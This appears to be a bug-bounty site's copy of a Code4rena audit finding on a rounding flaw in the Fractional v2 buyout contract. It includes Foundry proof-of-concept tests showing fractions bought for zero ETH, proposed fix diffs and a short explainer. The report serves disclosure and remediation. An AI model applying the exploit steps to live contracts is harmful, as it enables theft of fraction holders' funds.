Skip to content
Audit finding Intermediate

Division rounding can make fraction-price lower than intended (down to zero)

Integer division in the buyout module rounds the fraction price down, so when the buyout price is close to the total supply the fraction price can become zero or half the intended value. An attacker can then buy fractions for free or at a large discount, and the proposer may lose their fractions for little or nothing.

0xA5DF Follow

Originally disclosed on Code4rena

Submitted by 0xA5DF, also found by 0x52, exd0tpy, horsefacts, hyh, kenzo, Lambda, minhquanym, panprog, scaraven, shenwilly, and simon135

Divisions in EVM are rounded down, which means when the fraction price is close to 1 (e.g. 0.999) it would effectively be zero, when it’s close to 2 (1.999) it would be rounded to 1 - losing close to 50% of the intended price.

  • In case the proposer had any fractions, the buyout module puts them for sale and he can lose his fractions while getting in exchange either zero or a significantly lower price than intended

  • Even when the proposer doesn’t hold any fractions, if the buyout succeeds - the difference (i.e. buyoutPrice - fractionPrice*totalSupply) goes to those who cash out their fractions after the buyout ends.

    • That’s going to disincentivize users to sell their fractions during the buyout, because they may get more if they keep it till the buyout ends.
    • In other words, not only that the extra money the proposer paid doesn’t increase the chance of the buyout to succeed, it actually decreases it.

Proof of Concept

I’ve added the following tests to test/Buyout.t.sol.

    // add Eve to the list of users
    function setUp() public {
        setUpContract();
        alice = setUpUser(111, 1);
        bob = setUpUser(222, 2);
        eve = setUpUser(333, 3);

        vm.label(address(this), "BuyoutTest");
        vm.label(alice.addr, "Alice");
        vm.label(bob.addr, "Bob");
        vm.label(eve.addr, "Eve");
    }

    ///////////////////////////////////

    // a scenario where the price is zero, and the proposer ends up loosing all his fractions
    function test_bugFractionPriceIsZero() public{
        uint totalSupply = 21e17;
        uint BOB_INITIAL_BALANCE = totalSupply / 2;
        initializeBuyout(alice, bob, totalSupply, BOB_INITIAL_BALANCE, true);

        // Bob starts a buyout with 1 ether for the other half of total fractions
        bob.buyoutModule.start{value: 1 ether}(vault);

        eve.buyoutModule.buyFractions{value: 0}(vault, BOB_INITIAL_BALANCE);

        // Eve got all Bob's fractions for the very tempting price of 0
        assertEq(getFractionBalance(eve.addr), BOB_INITIAL_BALANCE);
    }

    ////////////////////////////////

    // a scenario where the price is 1, and the fraction price ends up being
    // 50% of intended price.
    // The user who cashes his fractions after the sale gets the difference (0.9 ether in this case).
    function test_bugFractionPriceIsOne() public{
        uint totalSupply = 11e17;
        uint BOB_INITIAL_BALANCE = totalSupply / 10;
        initializeBuyout(alice, bob, totalSupply, BOB_INITIAL_BALANCE, true);

        uint aliceFractionBalance =  totalSupply * 9 / 10;
        uint256 buyoutPrice = 2 ether;
        uint256 fractionPrice = buyoutPrice / totalSupply;
        assertEq(fractionPrice, 1);

        // We need to approve the buyout even though Eve doesn't hold any fractions
        eve.ferc1155 = new FERC1155BS(address(0), 333, token);
        setApproval(eve, buyout, true);

        eve.buyoutModule.start{value: buyoutPrice}(vault);
        // alice selling all her fractions
        alice.buyoutModule.sellFractions(vault, aliceFractionBalance);

        // 4 days till buyout ends
        vm.warp(block.timestamp + 4.1 days);

        bob.buyoutModule.end(vault, burnProof);

        bob.buyoutModule.cash(vault, burnProof);

        // Alice revenue should be about 0.99 ether
        uint256 aliceExpectedETHRevenue = fractionPrice * aliceFractionBalance;
        // Bob revenue should be about 1.01 ether
        uint256 bobExpectedETHRevenue = buyoutPrice - aliceExpectedETHRevenue;

        // Bob earned more than Alice even though Alice had 9 times his fractions
        // This means Bob got ~9 times ETH per fraction than Alice
        assertTrue(bobExpectedETHRevenue > aliceExpectedETHRevenue);

        // Just make sure they have the expected balance
        assertEq(getETHBalance(alice.addr), aliceExpectedETHRevenue + INITIAL_BALANCE);
        assertEq(getETHBalance(bob.addr), bobExpectedETHRevenue + INITIAL_BALANCE);

    }

Tools Used

Foundry

Recommended Mitigation Steps

Solution A: make sure buyoutPrice = fractionPrice * totalSupply

  • Request the user to send the intended fraction price (as a function arg) and then make sure he sent enough ETH. This way the user is well aware of the fraction price.
  • An advantage of this method is that the buyout price calculation is also more accurate (compared to (msg.value * 100) /(100 - ((depositAmount * 100) / totalSupply)) which has a rounding of up to 1%)
  • Optional - you can also refund the user if he sent too much ETH, though this is probably unnecessary since the UI should calculate the exact amount the user should send.

Proposed code for solution A:

     /// @param _vault Address of the vault
-    function start(address _vault) external payable {
+    function start(address _vault, uint256 _fractionPrice) external payable {
         // Reverts if ether deposit amount is zero
         if (msg.value == 0) revert ZeroDeposit();
         // Reverts if address is not a registered vault
@@ -66,6 +66,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         (, , State current, , , ) = this.buyoutInfo(_vault);
         State required = State.INACTIVE;
         if (current != required) revert InvalidState(required, current);
+        if (fractionPrice == 0) revert ZeroFractionPrice();

@@ -83,9 +84,10 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {

         // Calculates price of buyout and fractions
         // @dev Reverts with division error if called with total supply of tokens
-        uint256 buyoutPrice = (msg.value * 100) /
-            (100 - ((depositAmount * 100) / totalSupply));
-        uint256 fractionPrice = buyoutPrice / totalSupply;
+        uint256 fractionPrice = _fractionPrice;
+        uint256 buyoutPrice = fractionPrice * totalSupply;
+        uint256 requiredEth = fractionPrice * (totalSupply - depositAmount);
+        if (msg.value != requiredEth) revert InvalidPayment();

         // Sets info mapping of the vault address to auction struct

Solution B: Calculate the price at buy/sell time using buyoutPrice

  • The problem with solution A is that it doesn’t let much flexibility in case that total supply is large. In the example in the PoC (totalSupply = 2.1e18) the buyout price can be either 2.1 ETH or 4.2 ETH, if the user wants to offer 1.5 ETH or 3 ETH he can’t do it.

  • This solution solves this - instead of basing the buy/sell price on the fraction price - use the buyout price to calculate the buy/sell price.

  • This would cause a slight differential price (buying 1K fractions would have a slightly different price than 1M fractions).

    • However, note that the rounding here is probably insignificant, since the rounding would be no more than 1 wei per buy/sell
    • Also, the more the users buy/sell the more accurate the price would be (the less you buy the more you’ll pay, the less you sell the less you’d get).
  • For selling just calculate price = (buyoutPrice * amount) / totalSupply

  • For buying do the same, just add 1 wei if there was any rounding (see code below)

  • If you’re worried about the rounding of the buyout price (compared to solution A), you can increase the coefficient (this doesn’t cost any extra gas, and is nearly impossible to overflow):

(ethDeposit * 1e6) / (1e6 - ((fractionDeposit * 1e6) / totalSupply))

Proposed code for solution B:

--- a/src/interfaces/IBuyout.sol
+++ b/src/interfaces/IBuyout.sol
@@ -20,7 +20,7 @@ struct Auction {
     // Enum state of the buyout auction
     State state;
     // Price of fractional tokens
-    uint256 fractionPrice;
+    uint256 buyoutPrice;
     // Balance of ether in buyout pool
     uint256 ethBalance;
     // Total supply recorded before a buyout started

--- a/src/modules/Buyout.sol
+++ b/src/modules/Buyout.sol
@@ -85,14 +85,14 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         // @dev Reverts with division error if called with total supply of tokens
         uint256 buyoutPrice = (msg.value * 100) /
             (100 - ((depositAmount * 100) / totalSupply));
-        uint256 fractionPrice = buyoutPrice / totalSupply;
+        uint256 estimatedFractionPrice = buyoutPrice / totalSupply;

         // Sets info mapping of the vault address to auction struct
         buyoutInfo[_vault] = Auction(
             block.timestamp,
             msg.sender,
             State.LIVE,
-            fractionPrice,
+ // replace fraction price with buyout price in the Auction struct
+            buyoutPrice,
             msg.value,
             totalSupply
         );
@@ -102,7 +102,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             msg.sender,
             block.timestamp,
             buyoutPrice,
-            fractionPrice
+            estimatedFractionPrice
         );
     }

@@ -115,7 +115,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             _vault
         );
         if (id == 0) revert NotVault(_vault);
-        (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
+        (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 totalSupply ) = this
             .buyoutInfo(_vault);
         // Reverts if auction state is not live
         State required = State.LIVE;
@@ -135,7 +135,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );

         // Updates ether balance of pool
-        uint256 ethAmount = fractionPrice * _amount;
+        uint256 ethAmount = buyoutPrice * _amount / totalSupply;
         buyoutInfo[_vault].ethBalance -= ethAmount;
         // Transfers ether amount to caller
         _sendEthOrWeth(msg.sender, ethAmount);
@@ -153,7 +153,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );
         if (id == 0) revert NotVault(_vault);
         // Reverts if auction state is not live
-        (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
+        (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 totalSupply ) = this
             .buyoutInfo(_vault);
         State required = State.LIVE;
         if (current != required) revert InvalidState(required, current);
@@ -161,8 +161,13 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         uint256 endTime = startTime + REJECTION_PERIOD;
         if (block.timestamp > endTime)
             revert TimeExpired(block.timestamp, endTime);
+
+        uint256 price = (buyoutPrice * _amount) / totalSupply;
+        if (price * totalSupply < buyoutPrice * _amount){
+            price++;
+        }
         // Reverts if payment amount does not equal price of fractional amount
-        if (msg.value != fractionPrice * _amount) revert InvalidPayment();
+        if (msg.value != price) revert InvalidPayment();

         // Transfers fractional tokens to caller
         IERC1155(token).safeTransferFrom(

HardlyDifficult (judge) increased severity to High and commented:

Rounding impacting fractionPrice can significantly impact other math in this module. I think this is a High risk issue, given the right circumstances such as the example above where the buy price becomes zero, assets are compromised.

Selecting this instance as the primary issue for including test code and the detailed recs.


The original report as published on Code4rena, by 0xA5DF. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The proposer can lose their fractions for zero or a significantly lower price, and the extra ETH paid by the proposer goes to those who cash out after the buyout, disincentivising sales during the buyout.

What the attacker needed

A vault with fractions; buyout price close to total supply; attacker can start or participate in buyout

The fix

The buyout price should be calculated as fractionPrice * totalSupply, with the user specifying the fraction price, or the buy/sell price should be derived from the buyout price at transaction time.

How it was found

  1. Set up a vault with a total supply and a user holding some fractions.
  2. Start a buyout with an ETH amount such that the calculated fraction price rounds down to zero or one.
  3. Buy fractions at the rounded-down price, potentially for zero ETH.
  4. End the buyout and cash out fractions, observing the loss to the proposer or the gain to the buyer.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Smart contracts store numbers as whole integers, so when they divide, any remainder is thrown away. If the result is a tiny fraction like 0.999, it becomes 0. Here, the price per fraction was calculated by dividing the total buyout price by the number of fractions, and that rounding made the price zero or much lower than intended, letting someone buy fractions very cheaply.

More by 0xA5DF

View all

35 more disclosed reports, best first.

More from Fractional v2 contest

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.